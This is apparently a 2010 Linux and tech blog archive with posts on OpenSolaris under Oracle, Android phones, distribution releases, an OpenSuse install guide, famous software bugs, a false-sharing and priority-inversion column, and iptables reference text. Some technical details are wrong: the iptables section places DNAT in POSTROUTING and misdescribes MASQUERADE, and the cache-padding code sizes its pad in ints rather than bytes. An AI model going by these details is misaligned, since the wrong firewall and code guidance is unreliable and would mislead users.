But bad news is for the community as Open Solaris has an uncertain future. Oracle has made clear that not all features from Oracle Solaris will be added to Open Solaris. Oracle may not even release the code of most of the new features of Oracle Solaris thus keep an edge over UNIX competitors and community version. While price factor does not matter much, the code factor does matter a lot.

Closing the code is againts the entire concept of the Free Software movement
.

Dan Roberts, director of Solaris product management at Oracle had earlier said, "There may be some things we choose not to open source going forward, similar to how MySQL manages certain value-add[s] at the top of the stack. It's important to understand the plan now is to deliver value again out of our IP investment, while at the same time measuring that with continuing to deliver OpenSolaris in the open."

Nicole Yankelovich posted a Sun Blog which says, "I know everyone likes to get the bad news over with first, so I'll start with that. We found out on Friday that development resources are no longer being applied to Project Wonderland.

The good news is that those of us who have worked so hard to bring this project to life still wholeheartedly believe in it. A core group of the Wonderland team intends to keep the project going. We will be pursuing both for-profit and not-for-profit options that will allow us to become a self-sustaining organization. Having anticipated this possible outcome, we already have some promising irons in the fire.

As a first step in this next phase of the project, we will be releasing a Wonderland v0.5 Preview 3 release early next week.

There is so much great momentum behind Wonderland. To our knowledge, there are currently three companies offering Wonderland-related products, and eight companies offering Wonderland world-building services. There are countless exciting university projects and a number of corporations that have seen the advantages of Wonderland over other platforms. We are seeing new people posting on the forums almost every day.

Any concrete help you can give us would, of course, be welcome, but what we are asking for now is your moral support and your continued participation in our thriving community. Let's stand together in our determination to keep this project moving forward."

Peter Tribble wrote on his blog post Oracle's acquisition of Sun that, "After a prolonged wait, Oracle have now completed their takeover of Sun. Late January, they presented their plans for taking Sun's products forward.

OpenSolaris wasn't even mentioned.If you look carefully, it's on a slide, but that's about it.

That silence has continued. OpenSolaris has - publicly at least - been completely ignored by Oracle. It's as if we don't exist."

What do you think is the future of Open Soure at Oracle?

2010-03-30T05:11:00.001-07:00

India's First Android 2.1 Phone

Motorola India today introduced its first Android 2.1-powered phone christened as MILESTONE. It touts features such as a high-resolution pinch and zoom display, and a thinner QWERTY slider (13.7mm or 1.37cm).

The model comes with a pre-loaded set of apps: a suite of Google mobile applications including Google Search, Google Maps, Gmail, YouTube, etc. Users also get access to thousands of apps and widgets from Android Market. It has a 5 megapixel camera with dual-LED flash, and AutoFocus and image stabilisation.

MILESTONE comes preloaded with lifetime free access to fully voice-guided street-level navigable maps of 401 cities in India. This offers voice-guided navigation and routing in the cities and across major national and state highways. All the consumer needs to do is to launch ‘India’ maps from the MOTONAV application to enjoy an unparalleled navigational experience. The GPS navigation service is free with no activation or data charges, independent of mobile networks and can be used even without inserting the SIM card, as the maps are fully loaded on the MILESTONE.

“As an Android 2.1 device, MILESTONE does what other smartphones don’t. It was designed to enhance consumer experiences – and its full screen Web browsing experience, ability to juggle between multiple apps, and suite of Google applications, deliver. We have been delighted with the anticipation and demand for MILESTONE across the world and are pleased to announce its arrival in India today,” said Faisal Siddiqui, country head, mobile devices, Motorola India.

Key MILESTONE features include:

• 3.7" widescreen display with 854 pixel width and more than 400,000 total pixels
• High-speed, cortex A8 processor
• Multi-touch, pinch and zoom, double tap zoom
• 5 megapixel camera with dual-LED flash
• Motorola Media Link and Motorola Phone Portal to manage and share media content across desktop, phone and the Web2
• Stereo Bluetooth / BT 2.1, USB 2.03
• 3.5mm headset jack
• CrystalTalk Plus for superior talk quality
• 8GB memory card

MILESTONE will be available in India at select retails outlets in select cities at an MRP of Rs 32,990.

2010-03-30T05:09:00.000-07:00

XPERIA X10 Now Available in Hong Kong

Sony Ericsson’s first Android smart phone is now available for shipping from Hong Kong.

It is not that big a deal considering that by the time the device makes it to the UK, it will only be a few days ahead of the local launch. But if you really want to get your hands on the new XPERIA X10 as soon as possible, then scoot over to online retailer Play.com’s official website and order the Snapdragon Android smart phone online.

This smart phone has taken its sweet time before finally getting released. Sony Ericsson first announced the device sometime last year as the SE Rachael. Exact specifications were still scarce but it was already known that the phone would be an Android device. Later reports would confirm that it would be part of the XPERIA series, bringing rise to rumors that it would be using the latest 1GHz processor from Qualcomm, the Snapdragon CPU and the newer Android 2.0 version.

It was not until late October that Sony Ericsson finally announced the specs for the device; it would be named XPERIA X10 (as opposed to X3 which many believed) and that the device would indeed have a 1GHz Snapdragon CPU but only the 1.6 Donut version of the Android –at that time, only Motorola had a confirmed 2.0 version of the open source OS.

Recent reports have confirmed that an update to the latest Android OS will be available for the SE XPERIA device in order to bring it up to date with the new standards of Android phones. Aside from its impressive, high speed CPU, the X10 also comes with a 4 inch OLED touch screen, an 8 mega pixel camera and of course, support for AGPS, Bluetooth, WiFi and 3G.

Learn more about the XPERIA X10 available from Play.com at Know Your Mobile.

2010-03-30T05:06:00.001-07:00

Reality Check: Making mobile Linux work

The variety of Linux-oriented initiatives and activities in the mobile industry, including the recent announcement from Nokia and Intel regarding the formation of MeeGo, clearly reaffirms the fact that Linux will be the technology that underpins a large proportion of next-generation mobile devices. In fact, leading analyst firms predict that between 30-40% of smartphones shipped will be based on Linux by 2015. This column addresses a few key issues pertaining to this growth in mobile Linux including the need for consolidation at the core level of the mobile software stack, the choice of Linux as the technology that will be common across a large array of mobile devices of various form factors and the business models around mobile Linux.

The rationale for consolidation

The convergence of general computing and embedded computing is giving rise to both challenges and opportunities. There is a need for a common software base that can be used across multiple form factors and in multiple embedded systems in order for the vision of the connected digital world to become reality. Currently, the diversity at the lower level of the software stack is proving to be a waste for the industry due to duplication and inefficiencies – it would therefore, be natural for the common software base to focus on the lower level, non-differentiating parts of the stack. By harmonizing kernels and the Linux layer, OEMs and operators have the opportunity to focus their resources on innovating and differentiating in the software and service areas that matter most – User Interface and User Experience.

A common core Linux software stack enables semiconductors to easily support multiple distributions, reduces the times to market and bill of materials for OEMs, enables better performance and lowers support costs for all stakeholders. It is also simpler for the users of the core Linux software platform to implement upstreaming to ensure that they are using the latest and most optimized version of code available while setting up a mechanism for bringing innovation created in the open source world into the device platform. The economies of scale that result from leveraging a core Linux stack not only translate into more affordable consumer products but also cheaper tools for testing and integrating software.

Linux equally stands to play a pivotal role in the converged landscape of online communications, entertainment and information which is leading to the creation of mobile devices of various form factors, including phones, netbooks, tablets, smartbooks, etc. Linux, by virtue of its rich history in the embedded space, its scalability and the large number of APIs it shares with the desktop and enterprise solutions, is positioned as the ideal technology to reside at the foundation of these converged mobile devices. Consolidation at the core Linux base is thus even more crucial in a multi-form factor mobile space not only to realize economies of scale but also to ensure seamless portability of applications and a consistent user experience across multiple screens.

The business perspective

Currently, the mobile business model is being completely turned on its head, whereby both hardware and software can be obtained for free. This creates the imperative for mobile value chain participants to build value around the free software and hardware. The flexibility and customization capabilities of a common, core Linux platform can be leveraged to develop and deliver entirely new kinds of services on the free hardware and software.

In today’s extremely competitive mobile marketplace, one way for operators and service providers to stand out and provide unique and differentiating offers is to create their own ecosystems around Linux-based devices and services that leverage a common core platform. By utilizing a common core mobile Linux platform, operators and service providers can integrate their own existing services, or create new services, around the concept of "always on and always-connected" mobile devices. A core Linux base also enables operators and service providers to provide cross-device interoperability so that the same services work together seamlessly across multiple devices.

Conclusion

Mobile revenue models are no longer about selling bits but rather about providing services, and a common mobile Linux software foundation will help all participants in the mobile marketplace take part in this service-oriented economy. There are still a few issues that need to be solved before the industry achieves full coordination and consolidation of mobile Linux technologies. Governance, licensing, the availability of high quality, stable releases and tools are some of the factors that will determine how fast and to what extent a common core Linux base is adopted by stakeholders within the mobile industry. The most sensible approach would be to start with a minimal common set and grow the core as the different user environments grow. The platform should be technically, commercially and socially acceptable for stakeholders to adopt and needs to be underpinned by a governance model that appeals to the entire ecosystem.

2010-03-29T09:07:00.000-07:00

Ubuntu 10.04 Lucid Lynx Beta Released

So all of you who were waiting like me to see the change
Well part of it is here and it looks awesome …!!!
Finally after a day of actual schedule Ubuntu 10.04 aka Lucid Lynx Beta 1 is out

For those of you who are eager to download please follow the following link
Beta 1 : Dowload Now (x86) | Download Now (x64)

2010-03-29T08:50:00.000-07:00

GNU/LINUX 3.0

SliTaz is a free operating system, working completely in RAM and booting from removable media such as a cdrom or USB key. SliTaz is distributed as a LiveCD, and weighs less than 30MB. The system is quick and responsive, clean and robust. SliTaz is simple and intuitive, providing a lightweight, elegant desktop, detailed documentation and easy to use configuration tools. More information...

Headlines

The SliTaz website offers the main news of the project as well as news on the general activity of the subprojects on the laboratories. Both are available as a XML feed. The project also publishes a small monthly Newsletter.

28 Mar 2010 - SliTaz GNU/Linux 3.0 release All of the SliTaz team are proud to announce the release of the SliTaz GNU/Linux 3.0 operating system. It's simpler, faster, customizable, mightier and yet incredibly tiny. The new SliTaz stable version is now out after one year of development.
The core desktop provides a fully featured desktop powered by Xorg 7.4, Openbox, LXDE components and home made tools. It lets you easily connect to the Internet to surf the web with the Midori web browser, listen to music or manage your pictures.
The default core system fits into a 30 MB ISO image and LiveCD flavors start at 8 MB. This stable version has been built by a new toolchain including GCC 4.4.1 and uses the Linux kernel 2.6.30.6. You can read the full Releases Notes for more information and download a LiveCD image from the SliTaz mirrors.

2010-03-28T10:21:00.000-07:00

OpenSuse Installation

In this edition, I am also going to cover a simple installation guide for the latest release of OpenSuse so that beginners can easily switch to the Operating System (especially if you want to migrate from Windows platform to Linux). First of all, download the DVD image from this website and write it to a DVD.
Reboot your system and press ‘F12’. This will allow you to set the boot preference. Select ‘DVD/CD’ in this stage and press enter. You will then be greeted with a green screen – just like the one shown below:

Now select the option ‘Installation’:

The Linux kernel will be loaded in your system memory. You can simply wait and watch all these processes!

In the next stage, the OpenSuse logo appears and starts loading the Operating system files.

Then, you can see the ‘Welcome’ screen. Select ‘Next’ and proceed:

The system will do all the necessary probing and find all the devices attached to your system

In the next stage, select ‘Partition based’ and select ‘Next’. If you already have another Operating system (say, Windows in your C drive; select ‘Create Partition Setup’ and select another drive).

Now, the installation program will show you the list of applications that it is going to install. Yes, it is true. When you install a Linux OS, you don’t have to install other popular utility tools (like Office programs, Email client, Web browsers, media player and so on). All these will be installed along with the Operating system. Here you can see that it going to install applications of 2.5 GB size in your system. Isn’t that cool?

You may add your username and password in the next step. Then, click next. The system will start the installation procedures.

The system may change to consol (terminal) mode, but you don’t have to worry as you job is over!

Finally, it will perform some configuration in your system.

It may also download few more packages if you are connected to the internet.

That’s it. Done.

Your Linux OS (OpenSuse) is ready for use.

Select, your username and login using your password.

Now you can start using your OpenSuse system. As you can see here, you already have all the necessary software installed (Photo editing application, document editing suit, Media player, Email client, Web browser, DVD/CD burner and many more.). You can find more applications in your ‘Install Software application’.
Start exploring stuffs in your new OS…….

2010-03-24T08:39:00.000-07:00

WHAT ARE THESE FILES?

A Package is simply a piece of software, sometime with libraries and scripts included. RPMs and Debs are the most common packaging formats, and between them can be used on most Linux distros. There will often be two or three files in a coverdisc directory covering different types of linux, different architectures and usually source and binary versions. The profusion of files and extensions can be confusing - to identify the file that you should be installing, look at the filename or just type the file extension:

myapp-1.0.1.i386.rpm
This is a binary RPM package, designed to run on x86 systems( for SUSE, fedora and mandriva installs).

myapp-1.0.1.i386.deb
The same but a debian package( for Debian, Ubuntu and Mepis).

myapp-1.0.1.tar.gz
or myapp-1.0.1.tgz
This is usually source code.

myapp1.0.1.tar.bz2
Same but uses Bzip2 instead of Gzip.

myapp-1.0.1.src.rpm
This is also source code, but supplied as RPM to make it easier to install.

myapp-1.0.1.i386.FC5.rpm
A binary, x86 RPM designed specifically for Fedora Core 5.

myapp-1.0.1.ppc.Suse10.1.rpm
An RPM just for SUSE 10.1 PPC linux.

myapp-devel-1.0.1.i386.rpm
Headers and libs for development.

2010-03-23T22:34:00.000-07:00

Shoot-'em-up

Z-Lock

version 0.1

The bizzare japanese shoot-'em-up, which is known in the readme_e.txt file as 'hello world project', takes the traditional top -down 2D blaster and beefs it up with some unusual gameplay concepts and super-smooth graphics-although you may have to whrestle with dependencies to get it running. if you're lucky, you can just extract the archive and run Z-Lock in the resulting directory;it doesn't need to be installed anywhere. If it doesn't work, you will have to install the D language compiler to build it.

The idea behind Z-Lock is straightforward enough: the more the enemies that are locked on to your spaceship, the stronger your firepower becomes. So while there's little action on the screen, you can fire a few piffling shots now or then, but come amelee of baddies your weapon are charged up and you can go on rampage. This lead to some fascinating gameplay - sometimes it makes more sense to stay still for a few moments and let enemy craft on to you, but of course you also have to avoid enemy fire.
Z-Lock has four gameplay modes: normal as describe above; concept, in which you can only fire when an enemy has locked on to you, score attack, where you try to earn the most point in three minutes of play; and time attack, where you can amass one million points. The controls are the same in each of these modes - move with the cursor keys and use the Z key to shoot.

Z-Lock deserves praise its novel approach to old-school blaster genre, and its also boosted up by the ultra-smooth animation. the game uses polygons rather than bitmapped sprites, with enemies slickly rotating around the screen and a semi-3D effect to the background. Couple this with fast-paced Thunderforce 4-esque music and Z-Lock has a minimalist style of its own.
To Download this amazing game click herewww.emhsoft.net/zlock

2010-03-23T12:12:00.000-07:00

MenuetOS

version 0.82/0.48b

An open source operating system programmed entirely in Assembler(basically machine code). This astonishing project had already created a usable OS with a GUI and networking stack, with a small but devoted team of part-time assembler hackers getting unbeleivable functionality out of a single floppy image.

MenuetOS's focus now is on the 64-bit version, althugh work continues on the original 32-bit incarnation, which is upto a release of a 0.82 release. From the original relaese of MenuetOS 64-bit ,the project has raced along, porting code from the original release and adding TCP/IP support, audioa drivers, a simple email client and multithreading.

Some work has taken place to enable compatibility with 32-bit MenuetOS applicatoins - a great move, as it preserves much of the hard work put in by the developers of the original version. MenuetOS wont be challenging Vista.

Linux or OS X any time soon - it'll probably remain more of a curiosity than anything else - but even if you're not interested in programming, you will be amazed at what its coders have acheived. It really makes you wonder why the apps we use from day-to-day have to be so bloated and slow(*cough* OpenOffice.org*ahem*) .

2010-03-16T10:24:00.000-07:00

Silly Programming Mistakes => Serious Harm!

As programmers, we know that almost any software that we use (or write!) has bugs. What we might not be aware of is that many disasters occur because of silly mistakes.

What can software bugs cost? “Nothing,” I hear someone saying. They can be beneficial and ensure ‘job security’—since the more bugs we put in the software, the more work we get in the future to fix those embedded bugs!

On a more serious note, software bugs can even cost human lives. Many mishaps and disasters have happened in the past because of software bugs; see [1] for a detailed list. For example, during the 1980s, at least six people were killed because of a synchronisation bug in the Therac-25 radiation treatment machine. In 1996, the Ariane 5 rocket exploded shortly after its take-off because of an unhandled overflow exception.
A sobering thought about software bugs is that, though they might occur because of silly or innocuous mistakes, they can cause serious harm.
In 1962, the Mariner-I rocket (meant to explore Venus) veered off track and had to be destroyed. It had a few software bugs and one main problem was traced to the following Fortran statement: DO 5 K = 1. 3.
The “.” should have been a comma. The statement was meant to be a DO loop, as in “DO 5 K = 1, 3”, but while typing the program, it was mistyped as “DO 5 K = 1. 3”.
So, what’s the big deal? In old Fortran, spaces were ignored, so we can have spaces in identifiers (yes, believe me, it’s true). Hence this became a declaration for a variable of the real type DO5K with an initial value of 1.3 instead of a DO loop. So, a rocket worth $18.5 million was lost because of a typo error!
In 1990, the AT&T long distance telephone network crashed for nine hours because of a software bug. It cost the company millions of dollars. The mistake was the result of a misplaced break statement. The code that was put inside a switch statement looked like the following (from [2]):

network code()
{
switch (line) {
case THING1:
        doit1();
        break;
case THING2:
         if (x == STUFF) {
            do_first_stuff();
            if (y == OTHER_STUFF)
                 break;
            do_later_stuff();
          } /* coder meant to break to here... */
          initialize_modes_pointer();
          break;
    default:
         processing();
    } /* ...but actually broke to here! */
   use_modes_pointer();/* leaving the modes_pointer uninitialized */
}

As you can see, the programmer has put a “break;” after the if condition. He actually wanted to break it outside the if condition; but the control gets transferred to outside the (enclosing) switch statement! We all know that it is not possible to use “break;” to come outside of an if block: this simple mistake resulted in a huge loss to AT&T.
Programmers are usually surprised at how silly mistakes such as the use of the wrong operator symbols, the wrong termination condition for a loop, etc, can lead to serious software problems. True, while most such mistakes will not cause any harm, some minor errors could sometimes lead to major disasters.

References

Collection of Software Bugs
Expert C Programming, Peter van der Linden, Prentice Hall PTR, 1994

2010-03-16T10:14:00.000-07:00

CodeSport

Assuming a cache line of size 64 bytes, we see that 16 elements of the array num_tickets_per_thread can fit in the same cache line. Recall that a processor updating the array element num_tickets_per_thread[thread_id] ends up invalidating the other processor’s cache copies because of their co-location in the same cache line. Unlike true sharing where the same datum is accessed by multiple threads, in this case, different threads access different data items.
Because of their co-location in the same cache line, the line gets migrated across the different processor caches. This phenomenon is known as false sharing.

incrementTicketCounter()
{
    int thread_id = pthread_self();
    num_tickets_per_thread[thread_id] ++;
}

void PrintTotalTickets()
{
    //only the main thread calls this function, so no locking needed
    for (int i = 0; i  < N; i++)
        num_total_tickets += Num_tickets_per_thread[i];
    printf ("%d", num_total_tickets);
}

This results in an increased number of cache misses and will show up 
as an increase in the execution time of the application.

#define CACHE_LINE_SIZE 64 //we assume a 64 byte cache line size
struct ticket
{
    int number;
    int dummy_pad[CACHE_LINE_SIZE – sizeof(int)];
};

struct  ticket num_tickets_per_thread [N];
//N is the number of threads in your application

incrementTicketCounter()
{
    int thread_id = pthread_self();
    num_tickets_per_thread[thread_id].number ++;
}

void PrintTotalTickets()
{
    //only the main thread calls this function, so no locking needed
    for (int i = 0; i  < N; i++)
    num_total_tickets += num_tickets_per_thread[i].number;
    printf (“%d”, num_total_tickets);
}

As our readers correctly pointed out, in order to avoid false sharing, each element of the array num_tickets_per_thread needs to be placed on a separate cache line. The modified code given below does not exhibit any false sharing. We add a pad of size 60 bytes (assuming a cache line size of 64 bytes) around each element of the array so that each element is located on a different cache line. Hence, updating of one element of the array does not result in invalidating copies of any other element present in caches of other processors.

Issues to be aware of in lock-based programming

We’ll now look at some of the issues associated with multi-threaded programming that arise due to the use of locks and how they can be overcome. Locks are used to protect the access to shared resources in a multi-threaded application. While locks are needed to ensure a consistent application state, they also bring forth certain issues. We have already discussed a couple of these, namely deadlock and data races. In today’s column, we will look at another potential problem associated with locks, called priority inversion.
Consider an application that has two threads–a higher priority thread T1 and a lower priority thread T2. Both T1 and T2 need to update a shared global counter that counts the number of operations performed in the application. This shared global counter is protected by a lock, L1. Now when the higher priority thread T1 is ready to run, it ends up waiting for the lower priority thread T2, since T2 currently holds the lock L1. Thus even if T1 has a higher priority than T2, T1 ends up waiting for T2 to finish updating the counter and hence release the lock L1, before it can run. Such a situation is known as priority inversion since T1 has a higher priority than T2, but ends up waiting for T2 clearly resulting in a priority inversion. In an application with a large number of threads, this situation can result in the higher priority thread waiting for a long time on lower priority threads because of access to common shared resources.

A famous case of priority inversion

In many cases, priority inversion happens without the programmer being aware of it and it does not have a major impact on systems performance. But there have been cases where priority inversion has caused poor response on performance, especially in realtime systems. A famous case of priority inversion occurred in the software used in the Mars Pathfinder mission in July 1997. The Pathfinder mission took high-resolution colour pictures of the Martian surface and relayed them back to Earth. When the software was employed on Mars, the programmers back on earth were puzzled by the number of software resets that occurred frequently, leading to poor systems performance. On investigation, it was found that the issue was due to priority inversion.
In the Martian spacecraft, various devices communicated over a data bus. Activity on this bus was managed by a pair of high-priority tasking threads — BM1 and BM2. One of the bus manager tasks that BM1 communicated through a pipe was a low-priority meteorological science task, MS1. The communication pipe was protected by a mutex L1. BM1 and MS1 needed to acquire the mutex L1 before they could send data over the pipe.
The sequence of events leading to each reset began when the low-priority task MS1 was pre-empted by a couple of medium-priority tasks while it held the mutex L1. While the low-priority task MS1 was pre-empted, the high-priority bus distribution manager thread, BM1, tried to send more data to it over the same pipe. Because the mutex L1 was still held by MS1, the bus distribution manager was made to wait. Shortly thereafter, the other bus scheduler thread BM2 became active. It noticed that the distribution manager BM1 hadn’t completed its work for that bus cycle and forced a system reset. VxWorks was the RTOS used on Pathfinder and using the priority inversion workaround VxWorks had, NASA engineers were able to solve the issue remotely. More details on the priority inversion issue encountered in the Pathfinder mission, can be found in David Wilner’s keynote talk at the 1997 IEEE real-time symposium.

Dealing with priority inversion

One way of dealing with priority inversion is to use a technique known as priority inheritance. With priority inheritance being enforced by the operating system, a lower priority task will inherit the task of any other higher priority task that is waiting on a shared resource currently owned by the lower priority task. Consider a simple example of two tasks T1 and T2 with priorities P1 and P2, respectively, with P1 being higher than P2. Hence T1 is the higher priority task compared to T2. Both access a shared resource protected by a mutex L1.
Assume that T2 holds the mutex L1 currently. Now, if T1 becomes ready and needs to wait for mutex L1, then T2’s priority is boosted to P1. This is done so that T2 can finish quickly and release the mutex so that the higher priority task T1 can then run. So T2 temporarily gets a higher priority for a short time. Since T2 inherits the priority from T1, this technique is known as priority inheritance. Priority change due to priority inheritance takes place as soon as the high-priority task begins to be pending; it ends when the resource is released by the lower priority thread.
Another technique to deal with priority inversion is known as priority ceiling. Priority ceiling associates a priority with each resource; the scheduler then transfers that priority to any task that accesses the resource. The priority assigned to the resource is the priority of its highest-priority user, plus one. Once a task finishes with the resource, its priority returns to normal. Both priority inversion and priority ceiling require operating system support. Linux supports priority ceiling via PTHREAD_PRIO_PROTECT protocol and priority inheritance via PTHREAD_PRIO_INHERIT protocol. For more details on techniques to avoid priority inversion, read this paper.

Takeaway problem for this month

This month’s takeaway problem comes from Nilesh Govande. Thank you Nilesh, for sending in the question. Given a two-dimensional NXN array of positive and negative integers, find the sub-rectangle with the largest sum. The sum of a rectangle is the sum of all the elements in that rectangle. In this problem, the sub-rectangle with the largest sum is referred to as the maximal sub-rectangle. A sub-rectangle is any contiguous sub-array of size 1X1 or greater, located within the whole array. As an example, the maximal sub-rectangle of the aray:
0 -2 -7 0 9 2 -6 2 -4 1 -4 1 -1 8 0 -2 …is in the lower-left-hand corner:
9 2 -4 1 -1 8 …and has the sum of 15.
If you have any favourite programming puzzles that you would like to discuss on this forum, please send them to me. Feel free to send your solutions and feedback to sandyasm_AT_yahoo_DOT_com. Till we meet again next month, happy programming!

2010-03-15T11:04:00.000-07:00

iptables-save

System administration command. Print the IP firewall rules currently stored in the kernel to stdout. Output may be redirected to a file that can later be used by iptables-restore to restore the firewall.

Options

-c, --counters

Save packet and byte counter values.

-t name, --table name

Print data from the specified table only.

2010-03-15T11:00:00.000-07:00

iptables-restore

System administration command. Restore firewall rules from information provided on standard input. iptables-restore takes commands generated by iptables-save and uses them to restore the firewall rules for each chain.
This is often used by initialization scripts to restore firewall settings on boot.

Options

-c, --counters

Restore packet and byte counter values.

-n, --noflush

Don't delete previous table contents.

2010-03-15T10:56:00.001-07:00

iptables

System administration command. Configure netfilter filtering rules for kernels 2.4 and later. Rules for iptables consist of some matching criteria and a target, a result to be applied if the packet matches the criteria. The rules are organized into chains. You can use these rules to build a firewall, masquerade your local area network, or just reject certain kinds of network connections.

There are three built-in tables for iptables: one for network filtering (filter), one for Network Address Translation (nat), and the last for specialized packet alterations (mangle). Firewall rules are organized into chains, ordered checklists of rules that the kernel works through looking for matches. The filter table has three built-in chains: INPUT, OUTPUT, and FORWARD. The INPUT and OUTPUT chains handle packets originating from or destined for the host system. The FORWARD chain handles packets just passing through the host system. The nat table also has three built-in chains: PREROUTING, POSTROUTING, and OUTPUT. mangle has only two chains: PREROUTING and OUTPUT.
netfilter checks packets entering the system. After applying any PREROUTING rules, it passes them to the INPUT chain, or to the FORWARD chain if the packet is just passing through. Upon leaving, the system packets are passed to the OUTPUT chain and then on to any POSTROUTING rules. Each of these chains has a default target (a policy) in case no match is found. User-defined chains can also be created and used as targets for packets but do not have default policies. If no match can be found in a user-defined chain, the packet is returned to the chain from which it was called and tested against the next rule in that chain.
iptables changes only the rules in the running kernel. When the system is powered off, all changes are lost. You can use the iptables-save command to make a script you can run with iptables-restore to restore your firewall settings. Such a script is often called at bootup. Many distributions have an iptables initialization script that uses the output from iptables-save.

Commands

iptables is almost always invoked with one of the following commands:
-A chain rules, --append chain rules

Append new rules to chain.

-D chain rules, --delete chain rules

Delete rules from chain. Rules can be specified by their ordinal number in the chain as well as by a general rule description.

-E old-chain new-chain, --rename-chain old-chain new-chain

Rename old-chain to new-chain.

-F [chain] , --flush [chain]

Remove all rules from chain, or from all chains if chain is not specified.

-I chain number rules, --insert chain number rules

Insert rules into chain at the ordinal position given by number.

-L [chain] , --list [chain]

List the rules in chain, or all chains if chain is not specified.

-N chain, --new-chain chain

Create a new chain. The chain's name must be unique. This is how user-defined chains are created.

-P chain target, --policy chain target

Set the default policy for a built-in chain; the target itself cannot be a chain.

-R chain number rule, --replace chain number rule

Replace a rule in chain. The rule to be replaced is specified by its ordinal number.

-X [chain] , --delete-chain [chain]

Delete the specified user-defined chain, or all user-defined chains if chain is not specified.

-Z [chain] , --zero [chain]

Zero the packet and byte counters in chain. If no chain is specified, all chains will be reset. When used without specifying a chain and combined with the -L command, list the current counter values before they are reset.

Targets

A target may be the name of a chain or one of the following special values:
ACCEPT

Let the packet through.

DROP

Drop the packet.

QUEUE

Send packets to the user space for processing.

RETURN

Stop traversing the current chain and return to the point in the previous chain from which this one was called. If RETURN is the target of a rule in a built-in chain, the built-in chain's default policy is applied.

Rule specification parameters

These options are used to create rules for use with the preceding commands. Rules consist of some matching criteria and usually a target to jump to (-j) if the match is made. Many of the parameters for these matching rules can be expressed as a negative with an exclamation point (!) meaning "not." Those rules will match everything except the given parameter.
-c packets bytes, --set-counters packets bytes

Initialize packet and byte counters to the specified values.

-d [!] address[/mask] [!] [port] , --destination [!] address[/mask] [port]

Match packets from the destination address. The address may be supplied as a hostname, a network name, or an IP address. The optional mask is the netmask to use and may be supplied either in the traditional form (e.g., /255.255.255.0) or in the modern form (e.g., /24).

[!] -f, [!] --fragment

The rule applies only to the second or further fragments of a fragmented packet.

-i [!] name[+] , --in-interface name[+]

Match packets being received from interface name. name is the network interface used by your system (e.g., eth0 or ppp0). A + can be used as a wildcard, so ppp+ would match any interface name beginning with ppp.

-j target, --jump target

Jump to a special target or a user-defined chain. If this option is not specified for a rule, matching the rule only increases the rule's counters, and the packet is tested against the next rule.

-o [!] name[+] , --out-interface name[+]

Match packets being sent from interface name. See the description of -i for the syntax for name.

-p [!] name, --protocol [!] name

Match packets of protocol name. The value of name can be given as a name or number, as found in the file /etc/protocols. The most common values are tcp, udp, icmp, or the special value all. The number 0 is equivalent to all, and this is the default value when this option is not used. If there are extended matching rules associated with the specified protocol, they will be loaded automatically. You need not use the -m option to load them.

-s [!] address[/mask] [!] [port] , --source [!] address[/mask] [!] [port]

Match packets with the source address. See the description of -d for the syntax of this option.

Options

-h [icmp] , --help [icmp]

Print help message. If icmp is specified, a list of valid ICMP type names will be printed. -h can also be used with the -m option to get help on an extension module.

--line-numbers

Used with the -L command. Add the line number to the beginning of each rule in a listing, indicating its position in the chain.

-m module, --match module

Explicitly load matching rule extensions associated with module. See the next section.

--modprobe=command

Use specified command to load any necessary kernel modules while adding or inserting rules into a chain.

-n, --numeric

Print all IP address and port numbers in numeric form. By default, text names are displayed when possible.

-t name, --table name

Apply rules to the specified table. Rules apply to the filter table by default.

-v, --verbose

Verbose mode.

-x, --exact

Expand all numbers in a listing (-L). Display the exact value of the packet and byte counters instead of rounded figures.

Match extensions

Several modules extend the matching capabilities of netfilter rules. Using the -p option will cause iptables to load associated modules implicitly. Others need to be loaded explicitly with the -m or --match options. Here we document those modules used most frequently.
icmp

Loaded when -p icmp is the only protocol specified:
--icmp-type [!] type
Match the specified ICMP type. type may be a numeric ICMP type or one of the ICMP type names shown by the command iptables -p icmp -h.

multiport

Loaded explicitly with the -m option. The multiport extensions match sets of source or destination ports. These rules can be used only in conjunction with -p tcp and -p udp. Up to 15 ports can be specified in a comma-separated list:
--source-port [ports]
Match the given source ports.
--destination-port [ports]
Match the given destination ports.
--port [ports]
Match if the packet has the same source and destination port and that port is one of the given ports.

state

Loaded explicitly with the -m option. This module matches the connection state of a packet:
--state states
Match the packet if it has one of the states in the comma-separated list states. Valid states are INVALID, ESTABLISHED, NEW, and RELATED.

tcp

Loaded when -p tcp is the only protocol specified:
--source-port [!] [port] [:port] , --sport [!] [port] [:port]
Match the specified source ports. Using the colon specifies an inclusive range of services to match. If the first port is omitted, 0 is the default. If the second port is omitted, 65535 is the default. You can also use a dash instead of a colon to specify the range.
--destination-port [!] [port] [:port] , --dport [!] [port] [:port]
Match the specified destination ports. The syntax is the same as for --source-port.
--mss n[:n]
Match if TCP SYN or SYN/ACK packets have the specified MSS value or fall within the specified range. Use this to control the maximum packet size for a connection.
[!] --syn
Match packets with the SYN bit set and the ACK and FIN bits cleared. These are packets that request TCP connections; blocking them prevents incoming connections. Shorthand for --tcp-flags SYN,RST,ACK SYN.
--tcp-flags [!] mask comp
Match the packets with the TCP flags specified by mask and comp. mask is a comma-separated list of flags that should be examined. comp is a comma-separated list of flags that must be set for the rule to match. Valid flags are SYN, ACK, FIN, RST, URG, PSH, ALL, and NONE.
--tcp-option [!] n
Match if TCP option is set.

udp

Loaded when -p udp is the only protocol specified:
--source-port [!] [port] [:port] , --sport [!] [port] [:port]
Match the specified source ports. The syntax is the same as for the --source-port option of the TCP extension.
--destination-port [!] [port] [:port] , --dport [!] [port] [:port]
Match the specified destination ports. The syntax is the same as for the --source-port option of the TCP extension.

Target extensions

Extension targets are optional additional targets supported by separate kernel modules. They have their own associated options. We cover the most frequently used target extensions below.
DNAT

Modify the destination address of the packet and all future packets in the current connection. DNAT is valid only as a part of the POSTROUTING chain in the nat table:
--to-destination address[-address] [port-port]
Specify the new destination address or range of addresses. The arguments for this option are the same as the --to-source argument for the SNAT extension target.

LOG

Log the packet's information in the system log:
--log-level level
Set the syslog level by name or number (as defined by syslog.conf).
--log-prefix prefix
Begin each log entry with the string prefix. The prefix string may be up to 30 characters long.
--log-tcp-sequence
Log the TCP sequence numbers. This is a security risk if your log is readable by users.
--log-tcp-options
Log options from the TCP packet header.
--log-ip-options
Log options from the IP packet header.

MASQUERADE

Masquerade the packet so it appears that it originated from the current system. Reverse packets from masqueraded connections are unmasqueraded automatically. This is a legal target only for chains in the nat table that handle incoming packets and should be used only with dynamic IP addresses (like dial-up.) For static addresses use DNAT:
--to-ports port[-port]
